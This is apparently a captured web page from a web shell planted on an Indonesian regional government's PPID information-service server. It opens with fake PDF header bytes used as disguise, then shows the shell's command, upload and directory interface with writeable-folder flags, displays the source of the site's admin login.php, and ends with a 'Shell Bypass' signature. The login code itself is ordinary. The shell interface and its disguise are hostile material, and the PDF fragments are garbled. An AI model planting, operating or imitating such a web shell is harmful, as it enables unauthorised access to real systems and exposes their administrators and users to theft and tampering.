%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/login.php
<?php
/**
 * Halaman login panel admin / CMS PPID.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';

if (admin_logged_in()) {
    redirect('admin/index.php');
}

$error = '';
$username = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $username = post_param('username');
    $password = (string) ($_POST['password'] ?? '');

    if ($username === '' || $password === '') {
        $error = 'Username dan password wajib diisi.';
    } else {
        $stmt = db()->prepare('SELECT * FROM admin_users WHERE username = ? OR email = ? LIMIT 1');
        $stmt->execute([$username, $username]);
        $admin = $stmt->fetch();

        if ($admin && password_verify($password, $admin['password'])) {
            // Rehash bila algoritma default berubah.
            if (password_needs_rehash($admin['password'], PASSWORD_DEFAULT)) {
                $up = db()->prepare('UPDATE admin_users SET password = ? WHERE id = ?');
                $up->execute([password_hash($password, PASSWORD_DEFAULT), $admin['id']]);
            }
            db()->prepare('UPDATE admin_users SET last_login = NOW() WHERE id = ?')->execute([$admin['id']]);
            login_admin($admin);
            set_flash('success', 'Selamat datang kembali, ' . $admin['nama'] . '!');
            redirect('admin/index.php');
        } else {
            $error = 'Username atau password salah.';
        }
    }
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Admin — <?= e(APP_NAME) ?></title>
    <link rel="icon" href="<?= e(asset('logo-ppid.png')) ?>" type="image/png">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin>
    <!-- Tailwind CSS terkompilasi statis (menggantikan CDN Tailwind). -->
    <link href="<?= e(asset_ver('css/app.css')) ?>" rel="stylesheet">
    <!-- FontAwesome & Google Fonts: dimuat non-blocking agar tidak menahan render. -->
    <link rel="preload" as="style" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" onload="this.onload=null;this.rel='stylesheet'">
    <link rel="preload" as="style" href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" onload="this.onload=null;this.rel='stylesheet'">
    <noscript>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap">
    </noscript>
</head>
<body class="font-sans bg-slate-900 min-h-screen flex items-center justify-center p-4 antialiased">
    <div class="absolute inset-0 bg-gradient-to-br from-slate-900 via-slate-900 to-green-900/40"></div>

    <div class="relative w-full max-w-md">
        <div class="text-center mb-8">
            <div class="w-20 h-20 bg-white rounded-2xl flex items-center justify-center shadow-lg mx-auto mb-4 p-2">
                <img src="<?= e(asset('logomateng.webp')) ?>" alt="Logo Kab. Mamuju Tengah" class="max-h-full w-auto">
            </div>
            <h1 class="text-white text-2xl font-bold">CMS PPID Mamuju Tengah</h1>
            <p class="text-slate-400 text-sm mt-1">Panel Administrasi Layanan Informasi</p>
        </div>

        <div class="bg-white rounded-2xl shadow-2xl p-8">
            <h2 class="text-xl font-bold text-slate-900 mb-1">Masuk Akun</h2>
            <p class="text-sm text-slate-500 mb-6">Silakan masuk untuk mengelola layanan informasi.</p>

            <?php if ($error): ?>
                <div class="bg-red-50 border border-red-200 text-red-700 rounded-lg px-4 py-3 mb-5 text-sm flex items-center gap-2">
                    <i class="fas fa-circle-xmark"></i> <?= e($error) ?>
                </div>
            <?php endif; ?>

            <form method="post" class="space-y-4">
                <?= csrf_field() ?>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Username / Email</label>
                    <div class="relative">
                        <i class="fas fa-user absolute left-4 top-1/2 -translate-y-1/2 text-slate-400"></i>
                        <input type="text" name="username" value="<?= e($username) ?>" autofocus class="w-full rounded-lg border border-slate-300 pl-11 pr-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                    </div>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Password</label>
                    <div class="relative">
                        <i class="fas fa-lock absolute left-4 top-1/2 -translate-y-1/2 text-slate-400"></i>
                        <input type="password" name="password" id="password" class="w-full rounded-lg border border-slate-300 pl-11 pr-11 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                        <button type="button" onclick="var p=document.getElementById('password');p.type=p.type==='password'?'text':'password';this.querySelector('i').classList.toggle('fa-eye');this.querySelector('i').classList.toggle('fa-eye-slash')" class="absolute right-4 top-1/2 -translate-y-1/2 text-slate-400 hover:text-slate-600">
                            <i class="fas fa-eye"></i>
                        </button>
                    </div>
                </div>
                <button type="submit" class="w-full bg-mateng-green hover:bg-green-700 text-white font-bold py-3 rounded-lg transition-colors flex items-center justify-center gap-2">
                    <i class="fas fa-sign-in-alt"></i> Masuk
                </button>
            </form>
        </div>

        <p class="text-center text-slate-500 text-sm mt-6">
            <a href="<?= e(url('index.php')) ?>" class="hover:text-white transition-colors"><i class="fas fa-arrow-left mr-1"></i> Kembali ke situs publik</a>
        </p>
    </div>
</body>
</html>

Kontol Shell Bypass